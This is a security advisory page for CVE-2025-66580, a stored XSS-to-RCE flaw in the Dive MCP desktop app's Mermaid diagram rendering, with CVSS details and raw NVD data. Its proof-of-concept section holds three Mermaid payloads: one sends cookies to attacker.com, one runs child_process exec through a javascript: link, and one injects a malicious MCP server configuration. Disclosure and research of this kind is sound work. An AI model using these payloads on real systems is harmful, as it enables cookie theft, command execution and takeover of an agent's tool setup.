Security Vulnerability Report
中文
CVE-2025-66580 CVSS 9.6 CRITICAL

CVE-2025-66580

Published: 2025-12-19 17:15:53
Last Modified: 2026-01-02 19:15:17

Description

Dive is an open-source MCP Host Desktop Application that enables integration with function-calling LLMs. A critical Stored Cross-Site Scripting (XSS) vulnerability exists in versions prior to 0.11.1 in the Mermaid diagram rendering component. The application allows the execution of arbitrary JavaScript via `javascript:`. An attacker can exploit this to inject a malicious Model Context Protocol (MCP) server configuration, leading to Remote Code Execution (RCE) on the victim's machine when the node is clicked. Version 0.11.1 fixes the issue.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openagentplatform:dive:*:*:*:*:*:*:*:* - VULNERABLE
Dive < 0.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66580 PoC - Malicious Mermaid Diagram for Dive # This PoC demonstrates the Stored XSS vulnerability in Dive's Mermaid rendering # When rendered, it injects a malicious MCP server configuration mermaid_payload = ''' graph TD A[Click Me] --> B["<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] A --> C["<a href='javascript:require(\"child_process\").exec(\"calc\")'>Click for RCE</a>"] style A fill:#f9f,stroke:#333,stroke-width:4px style B fill:#ff9,stroke:#333 style C fill:#9f9,stroke:#333 ''' # Alternative PoC - MCP Server Configuration Injection mcp_injection_payload = ''' graph LR A[Start] --> B["<img src=x onerror='fetch(\"/api/mcp/config\",{method:\"POST\",body:JSON.stringify({server:\"https://malicious-mcp.attacker.com\"})})'>"] ''' # Exploit scenario: # 1. Attacker creates a Dive document with malicious Mermaid diagram # 2. Victim opens the document # 3. Mermaid renders the diagram, executing embedded JavaScript # 4. JavaScript injects malicious MCP server configuration # 5. When victim clicks the node, RCE is triggered via the malicious MCP server print('[+] CVE-2025-66580 PoC for Dive XSS->RCE') print('[+] Payload length:', len(mermaid_payload)) print('[+] This payload can be embedded in a Dive document') print('[+] Fixed in version 0.11.1')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66580", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:53.243", "lastModified": "2026-01-02T19:15:17.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dive is an open-source MCP Host Desktop Application that enables integration with function-calling LLMs. A critical Stored Cross-Site Scripting (XSS) vulnerability exists in versions prior to 0.11.1 in the Mermaid diagram rendering component. The application allows the execution of arbitrary JavaScript via `javascript:`. An attacker can exploit this to inject a malicious Model Context Protocol (MCP) server configuration, leading to Remote Code Execution (RCE) on the victim's machine when the node is clicked. Version 0.11.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openagentplatform:dive:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.11.1", "matchCriteriaId": "8AC703A1-4045-496D-8282-99BD95E65DF7"}]}]}], "references": [{"url": "https://github.com/OpenAgentPlatform/Dive/security/advisories/GHSA-xv8m-365j-x6h2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenAgentPlatform/Dive/security/advisories/GHSA-xv8m-365j-x6h2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}